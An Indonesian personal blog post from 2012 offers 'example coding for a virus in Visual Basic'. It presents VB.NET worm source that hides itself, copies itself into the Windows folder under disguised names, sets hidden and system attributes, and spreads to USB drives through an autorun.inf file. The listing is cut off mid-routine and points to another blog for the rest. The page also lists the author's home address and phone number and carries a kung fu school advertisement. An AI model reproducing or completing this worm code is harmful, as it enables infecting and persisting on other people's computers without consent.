titel.

WIZZEND CErEATION (BAYU WISNAWA) STIKOM BALI ALWAYS THE FIRTS

Wizzend Creation

Nama lengkap: I Putu Gede Bayu Wisnawa (Wizzend) Alamat : Jl.Seroja no 40 Denpasar,Tonja,Br SENGGUAN. Hobi : Futsal dengan teman-teman!! (HARAT F.C) HP : 081916548404 JANGAN LUPA ADD MY FACEBOOK (www.wizzend@yahoo.com)

Senin, 04 Juni 2012

CONTOH coding buat virus dlam visual basic



Public Class Explorer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error Resume Next
ShowInTaskbar = False
Dim fs, virus, flashdrive, tf, atr, rg, sys32
Dim flashdrive1 As String
Dim winpath As String
fs = CreateObject("Scripting.FileSystemObject")
winpath = fs.getspecialfolder(0).path & "\ssms.exe"
virus = Application.ExecutablePath
sys32 = fs.getspecialfolder(0).path & "\csrs.exe"
My.Computer.FileSystem.CopyFile(virus, winpath, True)
My.Computer.FileSystem.CopyFile(virus, sys32, True)
tf = fs.getfile(winpath)
tf.attributes = 39
tf = fs.getfile(sys32)
tf.attributes = 39
For Each flashdrive In fs.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.path <> "A:" Then
flashdrive1 = flashdrive.path & "\perawan.exe"
My.Computer.FileSystem.CopyFile(virus, flashdrive1, True)
tf = fs.getfile(flashdrive.path & "\perawan.exe")
tf.attributes = 39
atr = "[autorun]" & vbCrLf & "open=perawan.exe" & vbCrLf & "shell\open\command=perawan.exe" & vbCrLf & "action=Open folder to view files" & vbCrLf & "shell\Explore\command=perawan.exe"
tf = fs.createtextfile(flashdrive.path & "\autorun.inf", True)
tf.write(atr)
tf = fs.getfile(flashdrive.path & "\autorun.inf")
tf.attributes = 39
End If
Dim ss As Object
Dim obj As Object
ss = CreateObject("wscript.shell")

Untuk selengkapnya kunjungi ling aslinya ya

http://xphreaktechnospot.blogspot.com/2010/12/ne-contoh-virus-dengan-visual-basic.html


Dibuka latihan Internak wingchun kungfu system di denpasar. bali. Untuk kelas umum dan private. Dibimbing oleh pelatih berpengalaman dan profesional. Hubungi:0817315125 Surya Dwata kungfu school alamat jl.Gunung agung denpasar nomer 99 sebelah selatan jalan!


Untuk lebih detai mengenai kungfu wingchun silakan berkunjung ke ling di bawah ini terima kasih
http://www.surya-dewata.blogspot.com/